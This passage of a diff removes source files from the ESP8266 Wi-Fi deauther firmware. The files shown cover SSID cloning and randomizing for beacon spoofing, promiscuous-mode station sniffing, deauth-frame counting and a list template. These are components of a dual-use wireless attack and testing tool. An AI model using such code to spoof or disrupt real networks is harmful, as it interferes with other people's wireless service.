name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
|
@ -1,84 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
|
@ -1,453 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Scan.h"
|
||||
|
||||
#include "settings.h"
|
||||
#include "wifi.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel, true);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings::getWebSettings().enabled) wifi::resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch, true);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
|
@ -1,94 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
#define SCAN_MODE_STATIONS 2
|
||||
#define SCAN_MODE_ALL 3
|
||||
#define SCAN_MODE_SNIFFER 4
|
||||
#define SCAN_DEFAULT_TIME 15000
|
||||
#define SCAN_DEFAULT_CONTINUE_TIME 10000
|
||||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
|
@ -1,515 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <type_traits>
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
|
||||
template<class T>
|
||||
struct SimpleListNode {
|
||||
T data;
|
||||
SimpleListNode<T>* next = NULL;
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class SimpleList {
|
||||
public:
|
||||
SimpleList();
|
||||
SimpleList(int(*compare)(T & a, T & b));
|
||||
virtual ~SimpleList();
|
||||
|
||||
virtual void setCompare(int (* compare)(T& a, T& b));
|
||||
|
||||
virtual int size();
|
||||
virtual bool isSorted();
|
||||
virtual bool isEmpty();
|
||||
|
||||
virtual void add(int index, T obj);
|
||||
virtual void add(T obj);
|
||||
virtual void insert(T obj);
|
||||
|
||||
virtual void replace(int index, T obj);
|
||||
virtual void swap(int x, int y);
|
||||
|
||||
virtual void remove(int index);
|
||||
virtual void removeFirst();
|
||||
virtual void removeLast();
|
||||
|
||||
virtual bool has(T obj);
|
||||
virtual int count(T obj);
|
||||
|
||||
virtual T shift();
|
||||
virtual T pop();
|
||||
virtual T get(int index);
|
||||
virtual T getFirst();
|
||||
virtual T getLast();
|
||||
|
||||
virtual void moveToEnd();
|
||||
|
||||
virtual int search(T obj);
|
||||
virtual int searchNext(T obj);
|
||||
virtual int binSearch(T obj);
|
||||
|
||||
virtual void sort();
|
||||
virtual void clear();
|
||||
|
||||
protected:
|
||||
int (* compare)(T& a, T& b) = NULL;
|
||||
|
||||
int listSize = 0;
|
||||
SimpleListNode<T>* listBegin = NULL;
|
||||
SimpleListNode<T>* listEnd = NULL;
|
||||
|
||||
// Helps get() method by saving last position
|
||||
SimpleListNode<T>* lastNodeGot = NULL;
|
||||
int lastIndexGot = -1;
|
||||
bool isCached = false;
|
||||
|
||||
bool sorted = true;
|
||||
|
||||
virtual SimpleListNode<T>* getNode(int index);
|
||||
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList() {}
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
|
||||
setCompare(compare);
|
||||
}
|
||||
|
||||
// Clear Nodes and free Memory
|
||||
template<typename T>
|
||||
SimpleList<T>::~SimpleList() {
|
||||
clear();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
|
||||
this->compare = compare;
|
||||
sort();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return NULL;
|
||||
|
||||
SimpleListNode<T>* hNode = listBegin;
|
||||
int c = 0;
|
||||
|
||||
if (isCached && (index >= lastIndexGot)) {
|
||||
c = lastIndexGot;
|
||||
hNode = lastNodeGot;
|
||||
}
|
||||
|
||||
while (hNode && c < index) {
|
||||
hNode = hNode->next;
|
||||
c++;
|
||||
}
|
||||
|
||||
if (hNode) {
|
||||
isCached = true;
|
||||
lastIndexGot = c;
|
||||
lastNodeGot = hNode;
|
||||
}
|
||||
|
||||
return hNode;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::size() {
|
||||
return listSize;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isSorted() {
|
||||
return sorted;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isEmpty() {
|
||||
return listSize == 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(T obj) {
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (!listBegin) listBegin = newNode;
|
||||
|
||||
if (listEnd) {
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else {
